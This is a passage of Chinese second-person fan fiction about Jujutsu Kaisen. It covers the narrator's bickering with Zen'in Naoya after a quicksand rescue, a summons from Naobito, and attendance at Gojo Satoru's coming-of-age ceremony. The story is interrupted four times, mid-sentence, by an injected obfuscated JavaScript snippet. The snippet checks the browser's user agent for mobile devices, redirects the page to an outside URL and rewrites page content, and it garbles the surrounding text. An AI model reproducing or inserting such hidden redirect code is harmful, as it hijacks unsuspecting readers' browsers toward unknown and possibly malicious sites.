当久违的拳头锤过来,直哉完全没有感觉到大脑空白和恼怒,反倒是不服气起来,心脏跳得飞快,嚷嚷着替自己辩解,一点也不乐意自己被你强行误解。 “你就是很重啊!否则我怎么可能完全拽不动你!” 他把气恼的心情丢到你这里,你也回以愤愤的语气,“难道就不能是你的力气太小了吗?” “你说什么!!!” 直哉简直是在尖叫——他的男儿尊严正在经受前所未有的巨大挑战! 怎么可能!他可是要成为禅院家主的男人,怎么可以被人说力气小! 他一定要用实际行动让你知道他的本事才行! 直哉跨开步子,扎了一个相当敦实的马步,将脚踏实地的概念在物理层面上完美贯彻,浑身上下的每一丝肌肉同时发力,费劲的闷喊声榨干了细胞里的所有冲劲,猛得向后倒去,企图借着重力的加持拽动被流体紧锁的你。 然而无事发生,你反倒觉得自己的手臂快要脱臼了。 “看来你的怪叫没有用。”你无奈叹气,“这已经不是体重的问题了,是流沙的吸力太强。” 直哉完全没把后半句听进耳朵里,急不可耐地反驳你:“那不是怪叫!” “不是吗?好吧,就按你说的。” 流沙渗进脖子里了,现在你说话都费劲。感觉用不了五分钟,你就会被彻底淹没,直哉期待的结局简直唾手可得,真让人…… “你就不能用术式吸掉周围的沙子吗?” 好吧,你的死亡不会是让他高兴的事情。直哉心想,他的最终目标一直都没有改变过,那就是要全方位百分百地碾压你,让你知道他是多么优秀且不可侵犯——最好还能看到你跪倒在他的面前俯首称臣,让你意识到你再也不能随便打他,就是这样! “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374645|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行哟。”你提醒他,“沙子太固体了,不算是自然元素……不过流沙里的水分是可以被吸收的呢!谢谢你像华生一样提醒了我,直哉!” “嘁……” 直哉满不高兴,就算被你感谢了也还是臭着一张脸,原因一目了然——当然是因为你把他说成了华生。 他这么聪明这么天才这么了不起的角色,肯定得是夏洛克·福尔摩斯才对啊! 在他为自己贴上英伦大侦探的标签之时,你已经吸收掉了流沙里的所有水分,粘稠的流体重新变回沙子,虽然还是沉得不行,但总算是真切的实体了。你扒拉着爬出来,一抬头,对上的还是直哉的嫌弃表情。 “流沙里的水分是刚才那只咒灵的口水吧?真恶心。”直哉后退了好几步,捏着鼻子,好像你身上真的有什么怪味道存在那样,“你能不能别总是把乱七八糟的奇怪东西放进身体里。” “我知道,这次也是没办法。对了,” 你把被术式兜住的水分全部清空(并且重新排进了沙坑里,把干燥的沙子重新变回了讨人厌的流沙),朝他走过去,脚步一如既往的轻快。 “直哉,把我抱起来。”你说。 “哈?”他感觉你疯了,“说什么呢你?” “我知道我没有重到让你拽不出来的水平,刚才没能成功只是因为流沙太粘稠了。我想证明这一点。” 直哉满不高兴地往边上挪了两步,被你打过的那一侧脸颊热乎乎地烧起来,他必须别开脑袋。 “知道不就够了,有什么好证明的?”他推辞着。 “你不乐意?” “怎么可能乐意?” 他才不要碰你呢。你身上都是沙子,脏得要命。 啊!绝没有“如果你身上很赶紧就愿意碰你”的意思!没有! 你轻轻叹气,一看直哉的别扭表情就能感觉到他是在闹小脾气。既然如此,那也没办法了。 你果断地往前一步,再次拉近了和直哉之间的距离,向他伸出手。直哉没有躲开,或是说不屑于躲开。他知道自己还没惹你生气呢,不至于挨打。 既然有了这个前提,那就完全不用担心了。你一个小姑娘家家的还能捣鼓出什么事情?他一点都不—— ——诶,双脚怎么离地了? 直哉匆忙低头,对上的是你没在笑也没有表示出半点恶意、平平淡淡和任何时候都没有太大区别的表情。 可不太平淡的部分显然是,你的双臂正环绕在他的腰间,把他一整个人抱了起来。 结合这个前提来看,你平淡的表情很可能意味着直哉的体重在你看来不算重负。 直哉的大脑好像要萎缩了,居然没办法脱口而出骂你,连质问的一句“你干嘛”都说得毫无气势。 “好了!” 你完全没有回答直哉的困惑,反倒玩心大起,抱起他往上掂了掂两下才放下来,满怀希冀地拍拍他的肩膀。 “现在轮到你来把我抱起来了。” 你的潮汐歪理,启动! 36.这可不是平等交换 ……嗯? 你这家伙在说什么怪话呢? 果然是大脑萎缩了,直哉明显感觉到自己的思维能力也一并停滞了,看着你浅橄榄色的圆眼睛,居然什么都说不出来,明明此刻你们之间的视线落差一直都是他渴望拥有的那种居高临下的俯视——可他一点也不希望自己的梦想在如此窘迫的情形下实现啊! “我才没答应这种交换,你别自说自话啊五十里!”他气得要踹你,“你这家伙真是一如既往的没有礼貌!” “诶,不至于吧?我只是想达成我的目标而已嘛。” 你毫无自觉,毕竟你一向都习惯把自己的需求放在第一位,但就是这样的秉性让直哉最讨厌。只是可惜,他的一脚飞踹落了空,你早早地松开手,把他摆回到地上,完全不温柔,还好也算不上多么粗暴。而你的双臂依然摊开着,正等待你们的条件交换生效呢。 “我不想总被你说很重。我真的不沉,BMI也一直保持在正常的水平——每年总监部给我做的体检都只能得出这个完美的结果而已。” 直哉真不想搭理你,可冷嘲热讽还是自然而然地漏出来了,“说得好像你是个完美的家伙一样。” “我没这么说。世上没有什么东西是完美的,不是吗?” “不是。”直哉扬起自负的(或者也可以称之为自恋的)笑意,“像我这种人就是完美的。” “是吗?好吧好吧。” 你顺着他的心思回应,不忘晃晃手臂。 “既然这样的话,完美的禅院直哉,用行动消除你的错误认知吧。” 要是你感恩戴德地在这时候用上“直哉少爷”和毕恭毕敬的敬语体,那直哉肯定会志得意满地完成与你的交换条件;可你依旧用着平语,对他的称呼也一如既往,害得他在抱住你的时候完全没打算给你好脸色——好嘛,原来他只是一怒之下怒了一下。 硬邦邦的。 在触碰到你时,他最先冒出的就是这样的念头。 完全不柔软,你的外在和内里完全一致,是冥顽不化的奇石一块,他甚至感觉不到太多的温度。不像是衣物隔绝了体温,而是你本就不够温暖。 鬼使神差的,他的手指钻进了你的衬衫下摆。果然不够温暖。 然后你冷冰冰的手也伸进他的衣领里了,把直哉冻了个激灵。 小小的复仇最适合原地奉还。 “快点啦。”你催促着,“难道你在拖延时间,希望自己力气太小的事实不被发现?” “屁嘞!” 尊贵的生理雄性兼禅院家嫡子说脏话了,可惜杀伤力为零,只给自己的行动点了一把火。他当即把你扛起来。 看嘛,轻轻松松的,一点都不费劲,你才不是什么没力气也没男子气概的无能家伙呢! “再抬高一点嘛,再高一点。”你不停地轻拍他的肩膀,嘴上也不停,“这样还挺有意思的呢。” 直哉真的要光火了,“你怎么还玩起来了!” “因为这样还挺好玩的嘛。” “去死!” 禅院直哉是个说到做到的(以年龄来说暂时还不能被称作男人的)男人,果断地把你往水泥地上丢。你稍稍调整了姿势,轻巧地回到地上,顺势走向咒灵的残骸,确认它的消失情况。 要是没有真的祓除掉这个咒灵,那可就麻烦了。任何时候都要保证敌人百分百归西,家塾的师傅们从很早之前就强调过这一点了。 看起来,咒灵确实是一命呜呼了,那副扭曲的婴儿形态早已瓦解,曾经组成了咒灵躯壳的玩具们也都碎裂,被一层闪电般的黑纹覆盖。你用脚尖拨开一堆又一堆的碎片,试图把逐渐消散的每一寸碎片都看过去,寻找是否还存在着异样的痕迹。 该怎么说呢,异样的迹象大概是没有,倒是很不容易地从满地的破碎中找到了一个完整的玩具。是个毛茸茸的蓝色兔子。 作为动物的兔子可没有蓝色的,冷冷的色调和玩具兔子看起来也是格格不入。你揪住它的长耳朵,把它一整个提了起来。 你没那么喜欢它,只是觉得挺好奇。既然残骸下能找到一个完整的玩具,是不是还藏着更多的“幸存者”呢?你干脆开始搜索起来,热诚可比加利福尼亚的淘金者。 在你努力搜索的时候,直哉早就走远了。他可不打算知道你在玩什么,要是能借这机会把你丢下独自一人回家,绝对是再好不过的事情了。 一路快走,快要抵达帐的边缘,才意识到这层防止麻瓜进入的屏障还没解除。他在心里抱怨你做事有头没尾——谁放的帐当然是谁来接触啊,这么简单的道理难道你都忘记了吗?不过这念头刚冒出来,帐就瓦解了。 你一阵小跑,追上了被他甩下的距离,还顺手把一个东西塞进了他的手里。 “什么啊?”直哉条件反射地立刻摆出了厌恶的表情,“……青蛙?” 准确地说,是铁皮青蛙玩具。很便宜、很孩子气的那种。 “嗯。”你点点头,“我在咒灵的残骸里找到的,拿给你当战利品。” 这算什么战利品啊?直哉用指尖捏着青蛙角。他早就不是爱玩玩具的傻小孩了,况且铁皮青蛙也不是珍贵的玩意儿,摆在十年前他都看不上。还是把这种没用的东西丢给没用的你好了。 直哉正想着,转头倒是看到了被你拎在手里的毛绒兔子。 你看起来不算太喜欢这玩具,但既然拿在了手里,肯定不算讨厌。这绝对是个完美的切入嘲讽的角度。直哉立刻舒展脸庞,露出一副体谅的怜悯面孔。 “是了,你从小就没怎么玩过玩具,到了这个年纪还对廉价小东西充满兴趣,也很正常。”他把青蛙递过来,“呶,还是给你玩吧。” “在禅院家确实没有什么玩具,不过以前爸爸妈妈给我买了很多有意思的东西。” 居然从冷血到仿佛不存在人心的你的嘴里难得主动提到了父母这个话题,直哉稍稍有一丁点的惊愕,最先想到的也是他剪碎丢掉你妈妈留下的遗物时,你那副平淡到宛如无事发生的表情。 真没想到你心里还存在着“父母”的概念,明明从来都没有听你说起过。 直哉不觉得自己对你的事情好奇了,他只是觉得你的话语与他对你的认知格格不入。他也没打算嘲讽你,可一开口,说出的话总像是嘲弄,“真的?你在吹牛吧?” “没有。我以前很常玩四驱车和画板哦。” “看来你爸妈还挺大方?” “嗯,应该是吧。他们在给予爱的这一方面也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379117|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很大方,我知道他们非常疼爱我。” 那么疼爱你,结果还是把你养成了一个没有心、也不会为他们的死亡伤心的家伙,看来给出的爱完全没用嘛。直哉不仅在心里这么想,还毫不留情地把心思变成话语说出了口。 你眨了眨眼,视线落在他眯起的狐狸眼上。直哉话语不算难以回应,但你还是花了点时间稍稍思考了一下。 “我有心啊。不知道为什么你总要强调这一点,明明上次让你摸我心跳的时候你满不情愿的。”你的双唇拧成了无奈的一条直线,“如果我对他们的去世报以伤感,那每次想到他们的时候,我都只会觉得难过了。你知道的,世上的一切都是和潮汐一样的循环。” 你把毛绒兔子高高抛起。 “你所给予出去的一切会原封不动地回来。妈妈一直对我说,我要赋予世间的一切以爱,这样世间的一切都会爱我。这也算是潮汐理论的一部分。我正在努力地这么做呢。” 毛绒兔子落下,回到你的手里。 明明就是以牙还牙,以眼还眼。说得倒好像是什么了不得的哲学道理一样。直哉真想冷笑一声,充满不屑的吐息却意外地梗在喉咙里。 等等,如果按照你诡异且扭曲的哲学价值观,那么—— 直哉的表情忽然变得有点微妙,绝对算不上是高兴的面孔,但看起来也不算愤怒,实在难以评价,只听到她说:“这、这一贯对我这种态度的原因吗?” 他说的是你暗恋他的那件事,还有故意对他动手动脚引发他的注意,难道都是基于这番诡辩? “嗯。”你点点头,“是哦。” 正是因为最近直哉对你还挺人模人样的,所以你也人模人样地对待他了——一如几年前他态度相当恶劣的那段时间,你的拳头总是会落在他的身上一样。 ……可恶你这家伙简直是在想屁吃! 你居然为了得到他的爱,才主动给予了爱,这绝对是不平等的交换。 他可是未来的家主,才不需要轻易地给出他的爱意,绝不是因为他一点也不知道什么才是真切的爱。 禅院家爱他,却不曾教导他怎么去爱;家主老爹也爱他,可那更像是宠溺,宠爱的部分是他那些充满男性特质的方面,以及与他如出一辙的天赋,而不是自己柔软的部分。腐朽味的屋檐下满溢的只有病态的崇拜与盲从,却不是真正的爱。 如果按照这条路径想,难道你的爱就是真的了吗?所以你的爱非得是拳头不可?可你的厌恶也是真切存在的,正是因此才让你在禅院家的你格格不入。 都怪你太不像个正常人,可与此同时,你又显得那么像是一个人类该有的样子。 如鲠在喉,百分百的如鲠在喉,直哉完全说不出话了,也彻底忘记还要丢掉小青蛙的事情,一甩袖子就走掉了。可你还轻快地跟在身后。你心情还挺好的。 心情好到,你会坦率地对他说:“下次我们还一起祓除咒灵吧!和你在一起,感觉真的能做点实际的事情!” 你可没想过自己会说出这种话。毕竟,打一开始,你还不太乐意和直哉共同处理任务呢。 直哉猛地回头,把“哈——?”一声拉得好长。 “才不!” 他丢下了这样的宣言。 37.邀请或命令 直哉的宣言,可信度究竟有多少呢?不好说,毕竟你没有什么可以用来评判的标准。 总之,在那次之后,和直哉共同处理的祓除任务确实是彻底销声匿迹了,你和之前一样,继续被安插在大人们的任务中当打杂工——意思就是布下帐、当移动武器库带着咒具跑来跑去、打扫咒灵留下的残秽以及撰写实践报告,全都是属于你这种小喽啰专属的工作。 就是在这种不算太好也不算太糟糕的情况下,你居然还能顺利地晋升到三级咒术师,真不知道是付出的时间终于得到了回报,还是运气尚可。 当然,几率更高的可能性也许是,你的能力确实配得上三级咒术师的名号,正如直哉在幼儿园任务后的不久之后升到了二级那样。 你想,或许成为了二级咒术师之后,能做的事情就会变得不一样了吧,至少一定能够独立祓除诅咒了。你现在还没感觉到三级的特殊之处,无论是你的日常生活还是咒术师生活,都按照分外平稳且不变的步调继续往前,沉闷得像是几百年也不会打开的木盒那样。 “啊——嘴巴张大” 医生命令你。 正如你所说的,每年一次来自总监部的体检也是一成不变的日常,医生已经用压舌板按住了你的舌根,一股生.理性反胃的冲动涌上来,你懒得压抑故意此刻的感觉,顺着生.理反应发出难听的“呕”一声。 你其实没打算吐,肯定也不会没礼貌地真的吐在医生的身上,可他瞬间就换上了一副很嫌弃的表情,哪怕被口罩遮挡也清晰可见,更别提唐突后退的三大步了。你冲他笑,说洁癖可不是好习惯。他不搭理你,装作没听到,继续观察你的咽喉和牙齿。 “我的牙齿是不是刷得还挺干净?”你咧着嘴,把整齐的牙齿露出来给他看,“我最近总算是学会巴氏刷牙法了。” 如同理所应当,他依旧没有搭理你,直接把压舌板丢进垃圾袋,伸手触摸你脖子两侧的淋巴。好痒,你想缩脖子。 摸来摸去,又看来看去,得出的结论和往年一样,你是个超级健康小孩,并且你坚信自己的健康情况可以一直持续到未来的每一年。既然如此,还需要一直一直体检吗? “告辞。”医生向你躬了躬身,这是他一天里难得对你说过的几句话之一,“明年再见。” 看来每年一次的体检是没办法避免了。直到现在,你依然不知道这些检查有什么意义。 倒是还不至于为此叹气,不过你总忍不住想要拉扯嘴角,慢吞吞地扣起上衣。 纽上最后一颗扣子,医生忽然折返回来,对你说,稍后请去家主的书房。 这话绝不在预先设定的程序里,看来是直毘人托他顺便来传话吧。你应了一声好,继续以刚才的节奏慢吞吞地穿裤子,顺便再梳顺头发。完成了这一切之后,你才走向直毘人的书房,等待“请进”的邀请钻出门缝,推门走进去。 “体检结束了?”他拿这句谁都知道的话当开场白。 “嗯。”你点点头,“今天的我也是一切指标正常。” “是嘛。你哪儿哪儿都好就是最好的事情了。” 直毘人的欣慰听起来很真诚,看来是真心在为你的健康庆幸。不过,他绝不可能只是为了询问你的健康情况而特地让你来到面前。他想说的是其他事情。 “你听说了吗?五条家的六眼要举办成人礼了。虽说敌对了一百多年,但好歹都是被称为御三家的名门,家主继任者的成人礼,禅院家肯定是要参加的。” “哦——”你了然般地点头,然后果断甩甩脑袋,“我没听说。” 你毕竟是禅院家最底层的地基,对八卦最不好奇的家伙,完全没人和你提及此事——唯二有机会更新一下你的御三家情报的只有维拉和惣人,可惜维拉自己都不关心这种事,惣人又以为你肯定已经知道了,就此彻底断绝信息源。 “居然不知道吗?” 直毘人还挺意外。他觉得,哪怕只是对咒术界的事情怀有百分之一好奇心的家伙,也该知道六眼成人礼的大事了。但不知道也无妨,有时候他确实更希望你保持无知的状态。 “反正你现在知道了,仪式结束之后五条家的悟就要去东京的咒术高专了。典礼就在下个月的十八,你把那一天的时间腾出来,和我一起去。” “好。” 你应得很快,也不多说什么,反倒是直毘人再问你为何不问这番安排的动机。 “我知道您叫我一起去的目的。”你说。 直毘人的脸似乎阴下去了,“哦?说说看。” “你需要我当你的肉盾和保镖。” “肉盾?哈哈哈!” 阴沉的虚妄痕迹瞬间消失无踪,直毘人痛快地大笑起来,看你的目光像是在看一个愚钝的孩子——在他的心里,你就是愚钝孩子的形象。 “对,没错,就是这样。我需要你的保护。”他向你摆摆手,“好了,我要和你说的就是这事。现在我说完了,你回去吧。” “好。” 你合拢房门。 看来直毘人不是为了你的能力或是自身的安全才让你一同参加继任典礼的。你从他刚才的反应中足够提取出这个结论了。 至于真正的目的是什么,你没那么想知道,也不关心。你不觉得这事和你有多大关系。 御三家家主继任者的成人礼,主角还是大名鼎鼎的天才六眼,这样的场合绝对要庄重对待才行。禅院家不知道从哪位夫人那里借来了一件振袖和服给你,稍显老气,不过还算好看,就是小了一点,都怪你今年猛猛发育长得太高,好在只要把手藏进袖子里,不合身的事实也会被藏起来。 你最近留长了头发,齐整得盘在脑后,总算是像样一点了——反正直哉是觉得你现在算是人模人像了,具备了大和抚子该有的气质。 但当你提着和服的下摆,连大腿都暴露在了风中,大喇喇地快步走过来时,什么人模人样或是大和抚子的氛围都消失无踪了。 “你能不能有点女人样?”直哉眯起狐狸眼,真是没脸看你,“谁会像你这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383364|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走路?” 你一巴掌拍到他背上——真是的,这家伙不矫正一下就不会好好说话。 “如果你穿上和我一样的和服,你一定也会像我一样走路。” 直哉别扭地拧了拧后背,他可不想在这时候感知到你痛苦的爱,干脆开始翻白眼,“我可是男的,绝不会穿这种衣服。” “所以我说的是‘如果’。” 你把衣摆放下来,拍拍名贵布料上的褶皱。听说这玩意儿很贵,是贵到你就算偷偷把健人的随身听卖掉无法覆盖的价格。以防万一,还是小心一点吧。 捣鼓完和服之后,你才抬头去看直哉。 禅院家的屋檐太大,即便一同生活其下,你们也挺久没见了,青春期激素同时把你们搓细拉高,面孔也被削掉稚气的痕迹。只差一步你们就能成为大人了吧。你紧紧盯着直哉的耳朵,怀疑现在他耳朵上的四个钉子就是为了凸显大人气质而准备的。 “盯着我的耳朵干什么?”直哉不喜欢你打量的目光,稍稍侧过身子。 “你打了好多耳洞,看起来很……” 直哉的得意尾巴要翘起来了,“酷?帅?羡慕?” 而你说:“视觉系。” “?” 你随便一说,就把直哉的得意尽数打下去了。他直接朝你举起拳头了。 “你这家伙——” “好了,好了。” 狠话来不及说,姗姗来迟的最大话事人总算到场。直毘人伸出手,分别揽住你们的肩膀,浓重的酒精钻进鼻子里,感觉是把你们当做拐杖了。 “行了,孩子们,出发吧。” 说着就把你们拉到车上了。 “孩子们”?什么孩子们啊,你哪儿能和他摆在一起。直哉闷闷不乐地想。但这种话还是别说了,省得老爹给出他不爱听的回应。 禅院家的车队驶向京都城的另一端,直到五条家的林地出现在眼前。隔得远远的,已经能感到那种盛大的热闹氛围了。 禅院与五条家的宿怨是谁都知道的,即便如此,场面上的礼节也不能省去。除了家主和他的嫡子,其余小有能力的长辈们也一并前来参加,浩浩荡荡好豪横豪华的队列,你还看到了炳部队的首席。至于那些放不上台面的、没有术式的废柴们,直毘人不会让他们出现在这种场合的。 你不似旁人那般低垂眼眸,抬着头走在直毘人的身后,所以也看到了更多。 看到了五条家的松树,看到了忙忙碌碌的下仆,有鸟儿从屋檐下飞出去,挺热闹。 最先与你们相遇的是总监部的老家伙们,直毘人带着应付的笑声去握他们的手,大家也齐整整地同他们问好,你的动作慢了半拍,好在谁也不会发现,哪怕总监部的老家伙们一直将目光放在你的身上。 仔细想想,除了总监部意外,你还感觉到了其他人的目光。不多,可总有人在看你。 你想,你见过类似的眼神,因为你也曾投去过相似的目光——就像是欣赏动物园笼子里的大猩猩那样的目光。 38.动物园游客 向你投来了动物园游客般目光的那些人是谁? 搞清楚这个问题,大约花了你半小时的时间。你偷偷观察着和他们打招呼的人,偷听他们的对话,多多少少算是搞明白了。 动物园游客中的百分之八十,是你素未谋面的总监部的人,他们多是上了年纪的老家伙,干巴巴的眼睛嵌在眼眶里,就算不投来动物园游客的目光,看人的方式也不会让人觉得愉快。其余零星几位,则是五条家或是加茂家的长辈,看起来威严得很,也是老家伙们,不用猜都能想到他们的手中一定紧紧握着关乎家族命运的权力。 苍老的他们。年轻的你。你们之间像是存在着无形的栏杆,于是你变成了被观测的对象。 问题来了,这样的他们为什么要看你? 你不觉得自己是和大猩猩同一级别的存在,所以也不该这么被人盯着看。你也立刻瞪了回去,回敬相同的目光。 想了想,你估计是自己的衣服出了问题,或许你的年纪和这身名贵且略显老气的振袖和服太不搭了——十四岁的人怎么适合缀满菊花的和服?确实挺怪的,可还没有怪到能让旁人侧目的程度吧。 要么就是你的衣服乱了,或者是头发,总之一定是外表上存在违和之处。可惜你没带镜子,也没能在五条家找到镜子。真希望维拉也来了,她一定能帮忙找出你身上的违和之处——如此细致的事情,绝不是今天同行的这堆五大三粗坚信为人粗糙才是男儿的生存之道的禅院家男人们能够做到的。 实在是没办法了,你挪到直哉身边。 “我问问你。”你压低声音,“我看起来怎么样?” 仔细想想,在今天同行的这堆人里,直哉已经算是和你的关系顶顶好了,你完全没有多余的选择。 直哉嘛,他当然是“哈?”了一声,过敏似的别扭地抖了两下身子,眯着眼投来目光,脸上的表情怎么看都像是写着难以置信。 关于外表的问题干嘛非要等到现在才问他,明明一见面就可以问了的。 直哉没想到你居然还挺在乎外表的,但也没觉得太奇怪,毕竟再怎么说,你都是个小姑娘嘛,女为悦己者容,正好他就是你的……呸呸呸!他才不要成为被你心悦的人呢! 这么想着,他心里的一切褒奖词语都可以收进小黑屋里了,无论是“可爱”还是“漂亮”亦或者是“真是与往日截然不同”的夸赞他全不会和你说,只从牙缝里挤出一句,“好歹像个人样。” “是嘛。”你百分百相信了直哉的答复,却没有觉得很安心,“那为什么总有人在看我?好怪。” 直哉完全没留意到这种事。他又不关心你,刚才还忙着在和加茂家的漂亮妹妹眉来眼去呢。 “反正肯定不是因为你长得好看。”他可以断言。 “是吧。但你觉得我今天还挺好看,是吗?” “哈?”要不是正站在五条家,直哉已经跳起来了,“你又在想什么呢?” “我的推论也算是有理有据吧。你肯定是心里这么想了,所以才会这么说的。” 才不是!根本就是瞎说! 直哉恨不得揉乱你那颗梳得齐整的脑袋,害你在所有人面前出丑。他本来就不情愿你狗皮膏药似的跟着一起过来,果然你出现在这里就是来添乱的。 设想来不及化作实际,他已经被家主老爹叫去和长辈们寒暄应酬了,报复行动暂且搁置,先以狠狠的一瞪作为定金吧。 他的目光杀伤力为零,正如那些人投来的动物园游客眼神,你没怎么把他们的态度放在心上,毕竟那些人只是看你,不会主动和你说话。你隐约觉得他们会说到和你有关的话题——当他们一边与直毘人窃窃私语,一边用余光瞥你的时候,这样的预感更加强烈。可你什么都听不见,只能盯着天空,无聊地发着呆。 也没有多少时间能让你奢侈地耗费在发呆上了。仪式就将开始,神官模样的男人戴着隐去面容的白纸,挥舞神锤走来,在丁铃当啷的声响中,五条的六眼出现了。 虽说是六眼,他的蓝眼睛倒是只有两只,亏你早先还在心里把他描绘成了一副六眼怪物的模样。 人群静悄悄,仿佛连呼吸都已屏住,注视着过于这位年轻的天才履行着古旧的仪式。不知道大家在心里在想什么,可能有点敬畏,或者是崇拜在作祟。你注意到直哉的目光始终跟在五条悟的身上,一贯细长的狐狸眼在这时候才稍稍睁得圆了一点。 从没见过他这副样子。就算是在他的家主老爹面前,直哉也没有这么恭顺过。不会是被天才吓到了吧?很有可能呢。 你早就见过直哉惊恐的表情,不过回想起来还是会忍不住想笑。还好宾客之中也有面带笑意的,你突兀地扬起嘴角也不算是什么,只要及时地跟着大家一起鼓掌欢呼、不要落于人后,谁都不会发现你压根不关心五条家的仪式。 “六眼都已经降世了,看来十种影法术也会在这几年出现在我们禅院家吧。” 仪式结束,走向堂屋时,直毘人忽然这么说。他的话语像是充满确信的断言。 直哉发出嘁一声。他没能觉醒十种影法术,肯定不希望其他人继承了家传术式——至少在他坐上家主宝座之前,这种事绝对不允许发生。 以防万一,他还要探探家主老爹的口风才行。他可不希望多出莫名其妙的私生弟弟。 “真的能这么顺利吗,老爸?”他用乖儿子特有的那种略带任性的揶揄口吻说,“有些事情不是老爸你满心期待,就一定会如愿以偿的哟。” “我知道。” 然后就不再说什么了。 直毘人不会明说禅院与五条之间数百年来的宿怨一定促成什么结果,也不打算断言曾经导致积怨的产生的六眼与十种影法术的决战一定会在未来再现。他只是和每一任没能等到家传术式出现的家主那样,怀着禅院家的领路人该有的期待而已。 直哉也没多问了。从老爹的口中撬不出更多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387292|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就算了。反正会继承家主之位的是他,这绝对是不会改变的事实。 而你,你完全没在听父子俩的对话,只在想中午会吃什么。 你肚子饿了。早就听说仪式结束后会有宴席,不知道五条家的伙食如何。你已经觉得禅院家的饭菜很不错了,希望同为御三家的五条能在这方面实现更了不起的突破。 突破肯定是有的。毕竟是在宴请宾客,肯定要拿出超常的水平才行,即便宾客们耽于表面的礼节,从头到尾都只象征性地动动筷子。 你就不一样了。你大口吃饭大口吃菜,拢共添满了三次盘子。 直毘人很想说你两句,可是每次张了张嘴又不知道该怎么说了。你可能真的表现得不算礼貌,但在场的人里,除了动物园游客们,也没其他人在乎你这个别姓的女孩,肯定不会察觉到你吃了三碗饭的这件事。 再说了,就连动物园游客们也懒得说你什么,那就更没有什么好担心的了。你干脆越吃越多,一想到动物园游客们会对你摆出失望的表情就忍不住独自暗爽。 非要盯着你,那就看个够吧! 年轻的五条家继承者在仪式结束后出不再露面了,而后连直哉也消失无踪。 “直哉跑哪里去了?”直毘人四下张望都没找到儿子,转头问你。 你吞下满嘴的生鱼片,也左右看了看,果断摇头,“我不清楚。” “那你去找他回来吧。我们该回去了。” 宴席还远没有结束,早早回去倒是更加符合宿敌禅院家该有的做派。你点点头,吃完盘子里剩下的蜜瓜之后,才离开席间。 不过,五条家这么大,对你而言是全然陌生的地图,要怎么才能找到直哉,你完全没有概念,暂且先沿着缘廊往前走,说不定能够嗅到直哉身上的线香味道,这样就能找到他的踪影了。 深入宅邸,阳光照亮庭院,此地似乎比禅院家更加明亮一点。你看到几只金黄色小鸟在屋檐上蹦跶,扑打着翅膀,轻而易举地就飞走了。 看来,这是飞鸟也能轻松出入的家吧。你想着,脚步不自觉扭转了方向,走到了别处去,听到了年轻的家主继承人的声音。 “快去拿备用电池和充电器!” 他在咔哒咔哒的按钮声中紧张地大喊。 “马上就能到最终Boss了!电量必须要让我撑到结局才行!” 家主的命令绝对重要,仆人们急急忙忙跑出来。你往前探了探身,恰与盘腿坐在榻榻米上的五条悟对上目光,通透的蓝色眼眸注视着你。他的手里拿了最新款的psp,指尖依然动个不停,两秒后屏幕上便出现了“战斗胜利”的字样。 他没有问陌生的你为什么要出现在这里,也没有斥责你的无礼——同样的情况,要是发生在禅院家,你肯定要挨骂。但在五条家不会,至少五条悟不这样。 他只是朝你伸出手,把psp递给你。 “给我的游戏机充个电。”他说。 39.移动充电器(伪) 你正在寻找莫名其妙离席的直哉。 你在寻找直哉的途中遇到了五条家的悟。 现在五条悟让你给他的游戏机充电。 ……嗯? 这可真是莫名其妙的发展,感觉像是扔骰子,随机地roll出了几个事件发展,然后硬生生地捏合在一起了似的。你略感困惑,接过游戏机,“哦”了一声。 困惑归困惑,质疑倒是完全没有出现,虽然你完全不懂怎么给游戏机充电——拜托,你可是连游戏机或者手机或者电视机都没有的可怜蛋。 但不过,充电充电,顾名思义,肯定就是把电力弄进机器里嘛。雷电也是一种电力,顺着充电口灌进psp里就可以了。说不定这就是五条悟想让你做的事情。 将任务稍稍解构一番,接下来要做什么就显得很简单了。你双手捏紧游戏机,雷电噼里啪啦地从指间漏出来,爬上和他的眼睛相似色泽的这台蓝色psp,钻进背板的接缝里,原本还岌岌可危不停跳动的电池槽以肉眼可见的速度填满。 